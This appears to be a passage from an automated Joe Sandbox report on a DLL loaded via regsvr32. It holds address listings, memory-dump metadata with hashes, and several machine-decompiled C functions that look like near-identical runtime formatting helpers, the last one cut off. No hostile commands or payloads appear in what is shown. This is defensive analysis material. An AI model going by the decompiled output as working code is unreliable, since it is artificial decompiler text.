                                                                                                        0x18003a8a7
                                                                                                        0x18003a8ad
                                                                                                        0x18003a8b1
                                                                                                        0x18003a8b4
                                                                                                        0x18003a8b7
                                                                                                        0x18003a8bd
                                                                                                        0x18003a8c1
                                                                                                        0x18003a8c7
                                                                                                        0x18003a8c9
                                                                                                        0x18003a8cc
                                                                                                        0x18003a8d2
                                                                                                        0x18003a8d6
                                                                                                        0x18003a8dc
                                                                                                        0x18003a8e0
                                                                                                        0x18003a8e2
                                                                                                        0x18003a8e6
                                                                                                        0x18003a8f0
                                                                                                        0x18003a8f6
                                                                                                        0x18003a8fc
                                                                                                        0x18003a90b
                                                                                                        0x18003a919
                                                                                                        0x18003a91e
                                                                                                        0x18003a926
                                                                                                        0x18003a92d
                                                                                                        0x18003a933
                                                                                                        0x18003a93a
                                                                                                        0x18003a947
                                                                                                        0x18003a956
                                                                                                        0x18003a95a
                                                                                                        0x18003a960
                                                                                                        0x18003a965
                                                                                                        0x18003a96f
                                                                                                        0x18003a978
                                                                                                        0x18003a97f
                                                                                                        0x18003a983
                                                                                                        0x18003a989
                                                                                                        0x18003a98e
                                                                                                        0x18003a990
                                                                                                        0x18003a994
                                                                                                        0x18003a99a
                                                                                                        0x18003a99e
                                                                                                        0x18003a9a4
                                                                                                        0x18003a9a8
                                                                                                        0x18003a9ae
                                                                                                        0x18003a9b3
                                                                                                        0x18003a9b7
                                                                                                        0x18003a9ba
                                                                                                        0x18003a9bf
                                                                                                        0x18003a9c3
                                                                                                        0x18003a9d0
                                                                                                        0x18003a9d5
                                                                                                        0x18003a9db
                                                                                                        0x18003a9e2
                                                                                                        0x18003a9ef
                                                                                                        0x18003a9fe
                                                                                                        0x18003aa02
                                                                                                        0x18003aa04
                                                                                                        0x18003aa07
                                                                                                        0x18003aa0e
                                                                                                        0x18003aa1e
                                                                                                        0x18003aa25
                                                                                                        0x18003aa2d
                                                                                                        0x18003aa2f
                                                                                                        0x18003aa33
                                                                                                        0x18003aa37
                                                                                                        0x18003aa40
                                                                                                        0x18003aa45
                                                                                                        0x18003aa4a
                                                                                                        0x18003aa4e
                                                                                                        0x18003aa5b
                                                                                                        0x18003aa66
                                                                                                        0x18003aa6f
                                                                                                        0x18003aa71
                                                                                                        0x18003aa7a
                                                                                                        0x18003aa7d
                                                                                                        0x18003aa9c

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 5a43a7c92b7ce76e788a60247876635b0b188d227004db97597c4176548174fb
                                                                                                        • Instruction ID: b18e2983f397cbb6640b6ffa556b009ded6c8a254166b23aabe42e179ca5e8f1
                                                                                                        • Opcode Fuzzy Hash: 5a43a7c92b7ce76e788a60247876635b0b188d227004db97597c4176548174fb
                                                                                                        • Instruction Fuzzy Hash: 7B51A737618A5886F7A78F29D44439A37A0E74EB98F26C112EE8917794CF36CE47C740
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180039A20 Relevance: .1, Instructions: 146COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 66%
                                                                                                        			E00000001180039A20(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r10, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t98;
				intOrPtr _t99;
				signed int _t106;
				void* _t114;
				intOrPtr _t118;
				void* _t123;
				intOrPtr* _t126;
				intOrPtr _t127;
				char* _t128;
				intOrPtr* _t129;
				intOrPtr _t144;
				void* _t148;
				void* _t153;
				void* _t154;

				_t153 = __r10;
				_t114 = _t148;
				 *((long long*)(_t114 + 8)) = __rbx;
				 *((long long*)(_t114 + 0x10)) = __rbp;
				 *((long long*)(_t114 + 0x18)) = __rsi;
				 *((long long*)(_t114 + 0x20)) = __rdi;
				_push(_t154);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t123 = __rcx;
				r14d = 8;
				_t98 = r8d - 5;
				if (_t98 > 0) goto 0x80039b1c;
				if (_t98 == 0) goto 0x80039a82;
				_t99 = r8d;
				if (_t99 == 0) goto 0x80039b73;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x80039af3;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x80039acb;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x80039b73;
				if (r8d != 1) goto 0x80039b3f;
				_t83 =  *(__rcx + 0x28);
				_t126 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t126 + 8;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0x80039ab5;
				if ( *_t126 >= 0) goto 0x80039ab5;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0x80039b9f;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0x80039bb6;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t127 + 8;
				if (( *(_t126 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x80039aee;
				goto 0x80039a9e;
				goto 0x80039a9e;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				_t106 = dil &  *(_t127 + 0x28) >> 0x00000004;
				 *((long long*)(__rcx + 0x18)) = _t128 + 8;
				if (_t106 == 0) goto 0x80039b17;
				goto 0x80039a9e;
				goto 0x80039a9e;
				r8d = r8d - 6;
				if (_t106 == 0) goto 0x80039a82;
				r8d = r8d - 1;
				if (_t106 == 0) goto 0x80039a82;
				r8d = r8d - 2;
				if (_t106 == 0) goto 0x80039a82;
				goto 0x80039a6e;
				_t118 =  *((intOrPtr*)(_t128 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t118 + 0x30)) = 1;
				 *((intOrPtr*)(_t118 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t128 + 8));
				_v24 = _v24 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(_t128 + 8)), __rcx, _t128, __rdx,  *_t128, __rbp, __r8);
				goto 0x80039c0e;
				_t129 =  *((intOrPtr*)(_t128 + 0x18));
				 *((long long*)(_t123 + 0x18)) = _t129 + 8;
				if (0 == 0) goto 0x80039b98;
				_t144 =  *_t129;
				goto 0x80039a9e;
				goto 0x80039a9e;
				 *(_t123 + 0x28) =  *(_t128 + 0x28) & 0xfffffff7;
				E00000001180031D44(_t123, _t123 + 0x50,  *((intOrPtr*)(_t123 + 0x30)), _t144,  *((intOrPtr*)(_t123 + 8)));
				if (_t144 != 0) goto 0x80039bbf;
				 *(_t123 + 0x28) =  *(_t123 + 0x28) & 0xffffffdf;
				 *((char*)(_t123 + 0x4c)) = 1;
				r8b = bpl;
				if (_t154 != _t154) goto 0x80039bd8;
				E0000000118003D808(_t123, _t123, _t144);
				goto 0x80039bdf;
				E0000000118003C2AC( *_t129, _t123, _t123, _t144, _t153);
				if (0 == 0) goto 0x80039c0c;
				if ( *((intOrPtr*)(_t123 + 0x48)) == 0) goto 0x80039bfd;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t123 + 0x40)))) == 0x30) goto 0x80039c0c;
				 *((long long*)(_t123 + 0x40)) =  *((long long*)(_t123 + 0x40)) + 0xfffffffe;
				 *((short*)( *((intOrPtr*)(_t123 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t123 + 0x48)) =  *((intOrPtr*)(_t123 + 0x48)) + 1;
				return 1;
			}




















                                                                                                        0x180039a20
                                                                                                        0x180039a20
                                                                                                        0x180039a23
                                                                                                        0x180039a27
                                                                                                        0x180039a2b
                                                                                                        0x180039a2f
                                                                                                        0x180039a33
                                                                                                        0x180039a39
                                                                                                        0x180039a3d
                                                                                                        0x180039a40
                                                                                                        0x180039a43
                                                                                                        0x180039a49
                                                                                                        0x180039a4d
                                                                                                        0x180039a53
                                                                                                        0x180039a55
                                                                                                        0x180039a58
                                                                                                        0x180039a5e
                                                                                                        0x180039a62
                                                                                                        0x180039a68
                                                                                                        0x180039a6c
                                                                                                        0x180039a6e
                                                                                                        0x180039a72
                                                                                                        0x180039a7c
                                                                                                        0x180039a82
                                                                                                        0x180039a88
                                                                                                        0x180039a97
                                                                                                        0x180039aa5
                                                                                                        0x180039aaa
                                                                                                        0x180039ab2
                                                                                                        0x180039ab9
                                                                                                        0x180039abf
                                                                                                        0x180039ac6
                                                                                                        0x180039ad3
                                                                                                        0x180039ae2
                                                                                                        0x180039ae6
                                                                                                        0x180039aec
                                                                                                        0x180039af1
                                                                                                        0x180039afb
                                                                                                        0x180039b04
                                                                                                        0x180039b0b
                                                                                                        0x180039b0f
                                                                                                        0x180039b15
                                                                                                        0x180039b1a
                                                                                                        0x180039b1c
                                                                                                        0x180039b20
                                                                                                        0x180039b26
                                                                                                        0x180039b2a
                                                                                                        0x180039b30
                                                                                                        0x180039b34
                                                                                                        0x180039b3a
                                                                                                        0x180039b3f
                                                                                                        0x180039b43
                                                                                                        0x180039b46
                                                                                                        0x180039b4b
                                                                                                        0x180039b4f
                                                                                                        0x180039b5c
                                                                                                        0x180039b61
                                                                                                        0x180039b67
                                                                                                        0x180039b6e
                                                                                                        0x180039b7b
                                                                                                        0x180039b8a
                                                                                                        0x180039b8e
                                                                                                        0x180039b90
                                                                                                        0x180039b93
                                                                                                        0x180039b9a
                                                                                                        0x180039baa
                                                                                                        0x180039bb1
                                                                                                        0x180039bb9
                                                                                                        0x180039bbb
                                                                                                        0x180039bbf
                                                                                                        0x180039bc3
                                                                                                        0x180039bcc
                                                                                                        0x180039bd1
                                                                                                        0x180039bd6
                                                                                                        0x180039bda
                                                                                                        0x180039be7
                                                                                                        0x180039bf2
                                                                                                        0x180039bfb
                                                                                                        0x180039bfd
                                                                                                        0x180039c06
                                                                                                        0x180039c09
                                                                                                        0x180039c28

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: bef1d3658ef7f82a8526d4c222dfb5e763ce839db42e949f8c3af57017ffb512
                                                                                                        • Instruction ID: 7f1d844997777b16328c00a2437b435a2b48ea1d14f8f4092f0dee7b48c2256c
                                                                                                        • Opcode Fuzzy Hash: bef1d3658ef7f82a8526d4c222dfb5e763ce839db42e949f8c3af57017ffb512
                                                                                                        • Instruction Fuzzy Hash: 5251C632215A5882E7A78B69D0403AA77A0E74CFE8F26C211EE49177D5DF32CE47C780
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018003A05C Relevance: .1, Instructions: 145COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 70%
                                                                                                        			E0000000118003A05C(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r10, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t97;
				intOrPtr _t98;
				signed int _t105;
				void* _t113;
				intOrPtr _t117;
				void* _t122;
				intOrPtr* _t125;
				intOrPtr _t126;
				char* _t127;
				intOrPtr* _t128;
				intOrPtr _t143;
				void* _t147;
				void* _t153;

				_t113 = _t147;
				 *((long long*)(_t113 + 8)) = __rbx;
				 *((long long*)(_t113 + 0x10)) = __rbp;
				 *((long long*)(_t113 + 0x18)) = __rsi;
				 *((long long*)(_t113 + 0x20)) = __rdi;
				_push(_t153);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t122 = __rcx;
				r14d = 8;
				_t97 = r8d - 5;
				if (_t97 > 0) goto 0x8003a158;
				if (_t97 == 0) goto 0x8003a0be;
				_t98 = r8d;
				if (_t98 == 0) goto 0x8003a1af;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x8003a12f;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x8003a107;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x8003a1af;
				if (r8d != 1) goto 0x8003a17b;
				_t83 =  *(__rcx + 0x28);
				_t125 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t125 + 8;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0x8003a0f1;
				if ( *_t125 >= 0) goto 0x8003a0f1;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0x8003a1db;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0x8003a1f2;
				_t126 =  *((intOrPtr*)(_t125 + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t126 + 8;
				if (( *(_t125 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x8003a12a;
				goto 0x8003a0da;
				goto 0x8003a0da;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				_t105 = dil &  *(_t126 + 0x28) >> 0x00000004;
				 *((long long*)(__rcx + 0x18)) = _t127 + 8;
				if (_t105 == 0) goto 0x8003a153;
				goto 0x8003a0da;
				goto 0x8003a0da;
				r8d = r8d - 6;
				if (_t105 == 0) goto 0x8003a0be;
				r8d = r8d - 1;
				if (_t105 == 0) goto 0x8003a0be;
				r8d = r8d - 2;
				if (_t105 == 0) goto 0x8003a0be;
				goto 0x8003a0aa;
				_t117 =  *((intOrPtr*)(_t127 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t117 + 0x30)) = 1;
				 *((intOrPtr*)(_t117 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t127 + 8));
				_v24 = _v24 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(_t127 + 8)), __rcx, _t127, __rdx,  *_t127, __rbp, __r8);
				goto 0x8003a244;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				 *((long long*)(_t122 + 0x18)) = _t128 + 8;
				if (0 == 0) goto 0x8003a1d4;
				_t143 =  *_t128;
				goto 0x8003a0da;
				goto 0x8003a0da;
				 *(_t122 + 0x28) =  *(_t127 + 0x28) & 0xfffffff7;
				E00000001180031C9C(_t122, _t122 + 0x50,  *((intOrPtr*)(_t122 + 0x30)), _t143,  *((intOrPtr*)(_t122 + 8)));
				if (_t143 != 0) goto 0x8003a1fb;
				 *(_t122 + 0x28) =  *(_t122 + 0x28) & 0xffffffdf;
				 *((char*)(_t122 + 0x4c)) = 0;
				r8b = bpl;
				if (_t153 != _t153) goto 0x8003a214;
				E0000000118003D9D4( *(_t127 + 0x28) & 0xfffffff7, _t122, _t143);
				goto 0x8003a21b;
				E0000000118003C474( *_t128, _t122);
				if (0 == 0) goto 0x8003a242;
				if ( *((intOrPtr*)(_t122 + 0x48)) == 0) goto 0x8003a234;
				if ( *((char*)( *((intOrPtr*)(_t122 + 0x40)))) == 0x30) goto 0x8003a242;
				 *((long long*)(_t122 + 0x40)) =  *((long long*)(_t122 + 0x40)) - 1;
				 *((char*)( *((intOrPtr*)(_t122 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t122 + 0x48)) =  *((intOrPtr*)(_t122 + 0x48)) + 1;
				return 1;
			}



















                                                                                                        0x18003a05c
                                                                                                        0x18003a05f
                                                                                                        0x18003a063
                                                                                                        0x18003a067
                                                                                                        0x18003a06b
                                                                                                        0x18003a06f
                                                                                                        0x18003a075
                                                                                                        0x18003a079
                                                                                                        0x18003a07c
                                                                                                        0x18003a07f
                                                                                                        0x18003a085
                                                                                                        0x18003a089
                                                                                                        0x18003a08f
                                                                                                        0x18003a091
                                                                                                        0x18003a094
                                                                                                        0x18003a09a
                                                                                                        0x18003a09e
                                                                                                        0x18003a0a4
                                                                                                        0x18003a0a8
                                                                                                        0x18003a0aa
                                                                                                        0x18003a0ae
                                                                                                        0x18003a0b8
                                                                                                        0x18003a0be
                                                                                                        0x18003a0c4
                                                                                                        0x18003a0d3
                                                                                                        0x18003a0e1
                                                                                                        0x18003a0e6
                                                                                                        0x18003a0ee
                                                                                                        0x18003a0f5
                                                                                                        0x18003a0fb
                                                                                                        0x18003a102
                                                                                                        0x18003a10f
                                                                                                        0x18003a11e
                                                                                                        0x18003a122
                                                                                                        0x18003a128
                                                                                                        0x18003a12d
                                                                                                        0x18003a137
                                                                                                        0x18003a140
                                                                                                        0x18003a147
                                                                                                        0x18003a14b
                                                                                                        0x18003a151
                                                                                                        0x18003a156
                                                                                                        0x18003a158
                                                                                                        0x18003a15c
                                                                                                        0x18003a162
                                                                                                        0x18003a166
                                                                                                        0x18003a16c
                                                                                                        0x18003a170
                                                                                                        0x18003a176
                                                                                                        0x18003a17b
                                                                                                        0x18003a17f
                                                                                                        0x18003a182
                                                                                                        0x18003a187
                                                                                                        0x18003a18b
                                                                                                        0x18003a198
                                                                                                        0x18003a19d
                                                                                                        0x18003a1a3
                                                                                                        0x18003a1aa
                                                                                                        0x18003a1b7
                                                                                                        0x18003a1c6
                                                                                                        0x18003a1ca
                                                                                                        0x18003a1cc
                                                                                                        0x18003a1cf
                                                                                                        0x18003a1d6
                                                                                                        0x18003a1e6
                                                                                                        0x18003a1ed
                                                                                                        0x18003a1f5
                                                                                                        0x18003a1f7
                                                                                                        0x18003a1fb
                                                                                                        0x18003a1ff
                                                                                                        0x18003a208
                                                                                                        0x18003a20d
                                                                                                        0x18003a212
                                                                                                        0x18003a216
                                                                                                        0x18003a223
                                                                                                        0x18003a229
                                                                                                        0x18003a232
                                                                                                        0x18003a234
                                                                                                        0x18003a23c
                                                                                                        0x18003a23f
                                                                                                        0x18003a25e

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: a1222cd03ecd100e525be61880c09d2e40173d0e50b5a158d5865a3c160a6917
                                                                                                        • Instruction ID: f51326d46a690bc0f3c1929d9fe09c611e4b640e3aee172b69097425da202af1
                                                                                                        • Opcode Fuzzy Hash: a1222cd03ecd100e525be61880c09d2e40173d0e50b5a158d5865a3c160a6917
                                                                                                        • Instruction Fuzzy Hash: 0551A53621865886F7AB8B29C8503AA37A0E74EFD8F26C111EE4917794CF36DE47C740
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180037060 Relevance: .1, Instructions: 145COMMONLIBRARYCODECrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 70%
                                                                                                        			E00000001180037060(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r10, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t97;
				intOrPtr _t98;
				signed int _t105;
				void* _t113;
				intOrPtr _t117;
				void* _t122;
				intOrPtr* _t125;
				intOrPtr _t126;
				char* _t127;
				intOrPtr* _t128;
				intOrPtr _t143;
				void* _t147;
				void* _t153;

				_t113 = _t147;
				 *((long long*)(_t113 + 8)) = __rbx;
				 *((long long*)(_t113 + 0x10)) = __rbp;
				 *((long long*)(_t113 + 0x18)) = __rsi;
				 *((long long*)(_t113 + 0x20)) = __rdi;
				_push(_t153);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t122 = __rcx;
				r14d = 8;
				_t97 = r8d - 5;
				if (_t97 > 0) goto 0x8003715c;
				if (_t97 == 0) goto 0x800370c2;
				_t98 = r8d;
				if (_t98 == 0) goto 0x800371b3;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x80037133;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x8003710b;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x800371b3;
				if (r8d != 1) goto 0x8003717f;
				_t83 =  *(__rcx + 0x28);
				_t125 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t125 + 8;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0x800370f5;
				if ( *_t125 >= 0) goto 0x800370f5;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0x800371df;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0x800371f6;
				_t126 =  *((intOrPtr*)(_t125 + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t126 + 8;
				if (( *(_t125 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x8003712e;
				goto 0x800370de;
				goto 0x800370de;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				_t105 = dil &  *(_t126 + 0x28) >> 0x00000004;
				 *((long long*)(__rcx + 0x18)) = _t127 + 8;
				if (_t105 == 0) goto 0x80037157;
				goto 0x800370de;
				goto 0x800370de;
				r8d = r8d - 6;
				if (_t105 == 0) goto 0x800370c2;
				r8d = r8d - 1;
				if (_t105 == 0) goto 0x800370c2;
				r8d = r8d - 2;
				if (_t105 == 0) goto 0x800370c2;
				goto 0x800370ae;
				_t117 =  *((intOrPtr*)(_t127 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t117 + 0x30)) = 1;
				 *((intOrPtr*)(_t117 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t127 + 8));
				_v24 = _v24 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(_t127 + 8)), __rcx, _t127, __rdx,  *_t127, __rbp, __r8);
				goto 0x80037248;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				 *((long long*)(_t122 + 0x18)) = _t128 + 8;
				if (0 == 0) goto 0x800371d8;
				_t143 =  *_t128;
				goto 0x800370de;
				goto 0x800370de;
				 *(_t122 + 0x28) =  *(_t127 + 0x28) & 0xfffffff7;
				E00000001180031C9C(_t122, _t122 + 0x50,  *((intOrPtr*)(_t122 + 0x30)), _t143,  *((intOrPtr*)(_t122 + 8)));
				if (_t143 != 0) goto 0x800371ff;
				 *(_t122 + 0x28) =  *(_t122 + 0x28) & 0xffffffdf;
				 *((char*)(_t122 + 0x4c)) = 0;
				r8b = bpl;
				if (_t153 != _t153) goto 0x80037218;
				E0000000118003CB94( *(_t127 + 0x28) & 0xfffffff7, _t122, _t143);
				goto 0x8003721f;
				E0000000118003B67C( *_t128, _t122);
				if (0 == 0) goto 0x80037246;
				if ( *((intOrPtr*)(_t122 + 0x48)) == 0) goto 0x80037238;
				if ( *((char*)( *((intOrPtr*)(_t122 + 0x40)))) == 0x30) goto 0x80037246;
				 *((long long*)(_t122 + 0x40)) =  *((long long*)(_t122 + 0x40)) - 1;
				 *((char*)( *((intOrPtr*)(_t122 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t122 + 0x48)) =  *((intOrPtr*)(_t122 + 0x48)) + 1;
				return 1;
			}



















                                                                                                        0x180037060
                                                                                                        0x180037063
                                                                                                        0x180037067
                                                                                                        0x18003706b
                                                                                                        0x18003706f
                                                                                                        0x180037073
                                                                                                        0x180037079
                                                                                                        0x18003707d
                                                                                                        0x180037080
                                                                                                        0x180037083
                                                                                                        0x180037089
                                                                                                        0x18003708d
                                                                                                        0x180037093
                                                                                                        0x180037095
                                                                                                        0x180037098
                                                                                                        0x18003709e
                                                                                                        0x1800370a2
                                                                                                        0x1800370a8
                                                                                                        0x1800370ac
                                                                                                        0x1800370ae
                                                                                                        0x1800370b2
                                                                                                        0x1800370bc
                                                                                                        0x1800370c2
                                                                                                        0x1800370c8
                                                                                                        0x1800370d7
                                                                                                        0x1800370e5
                                                                                                        0x1800370ea
                                                                                                        0x1800370f2
                                                                                                        0x1800370f9
                                                                                                        0x1800370ff
                                                                                                        0x180037106
                                                                                                        0x180037113
                                                                                                        0x180037122
                                                                                                        0x180037126
                                                                                                        0x18003712c
                                                                                                        0x180037131
                                                                                                        0x18003713b
                                                                                                        0x180037144
                                                                                                        0x18003714b
                                                                                                        0x18003714f
                                                                                                        0x180037155
                                                                                                        0x18003715a
                                                                                                        0x18003715c
                                                                                                        0x180037160
                                                                                                        0x180037166
                                                                                                        0x18003716a
                                                                                                        0x180037170
                                                                                                        0x180037174
                                                                                                        0x18003717a
                                                                                                        0x18003717f
                                                                                                        0x180037183
                                                                                                        0x180037186
                                                                                                        0x18003718b
                                                                                                        0x18003718f
                                                                                                        0x18003719c
                                                                                                        0x1800371a1
                                                                                                        0x1800371a7
                                                                                                        0x1800371ae
                                                                                                        0x1800371bb
                                                                                                        0x1800371ca
                                                                                                        0x1800371ce
                                                                                                        0x1800371d0
                                                                                                        0x1800371d3
                                                                                                        0x1800371da
                                                                                                        0x1800371ea
                                                                                                        0x1800371f1
                                                                                                        0x1800371f9
                                                                                                        0x1800371fb
                                                                                                        0x1800371ff
                                                                                                        0x180037203
                                                                                                        0x18003720c
                                                                                                        0x180037211
                                                                                                        0x180037216
                                                                                                        0x18003721a
                                                                                                        0x180037227
                                                                                                        0x18003722d
                                                                                                        0x180037236
                                                                                                        0x180037238
                                                                                                        0x180037240
                                                                                                        0x180037243
                                                                                                        0x180037262

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: a577eb91ba9027450b52fe415c07ecef0a770482dae53c25e6186c3f7bf117fd
                                                                                                        • Instruction ID: 6f993777d12152621df5abbcd25dd3cc1e0569999f5747a5cb2255e314d8d782
                                                                                                        • Opcode Fuzzy Hash: a577eb91ba9027450b52fe415c07ecef0a770482dae53c25e6186c3f7bf117fd
                                                                                                        • Instruction Fuzzy Hash: 0A518E37310658C6E7BB8B29C0403AA37A1E34DB9CF268111EE4D577A6CB36CA4BC740
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018003A260 Relevance: .1, Instructions: 145COMMONLIBRARYCODECrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 70%
                                                                                                        			E0000000118003A260(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r10, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t97;
				intOrPtr _t98;
				signed int _t105;
				void* _t113;
				intOrPtr _t117;
				void* _t122;
				intOrPtr* _t125;
				intOrPtr _t126;
				char* _t127;
				intOrPtr* _t128;
				intOrPtr _t143;
				void* _t147;
				void* _t153;

				_t113 = _t147;
				 *((long long*)(_t113 + 8)) = __rbx;
				 *((long long*)(_t113 + 0x10)) = __rbp;
				 *((long long*)(_t113 + 0x18)) = __rsi;
				 *((long long*)(_t113 + 0x20)) = __rdi;
				_push(_t153);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t122 = __rcx;
				r14d = 8;
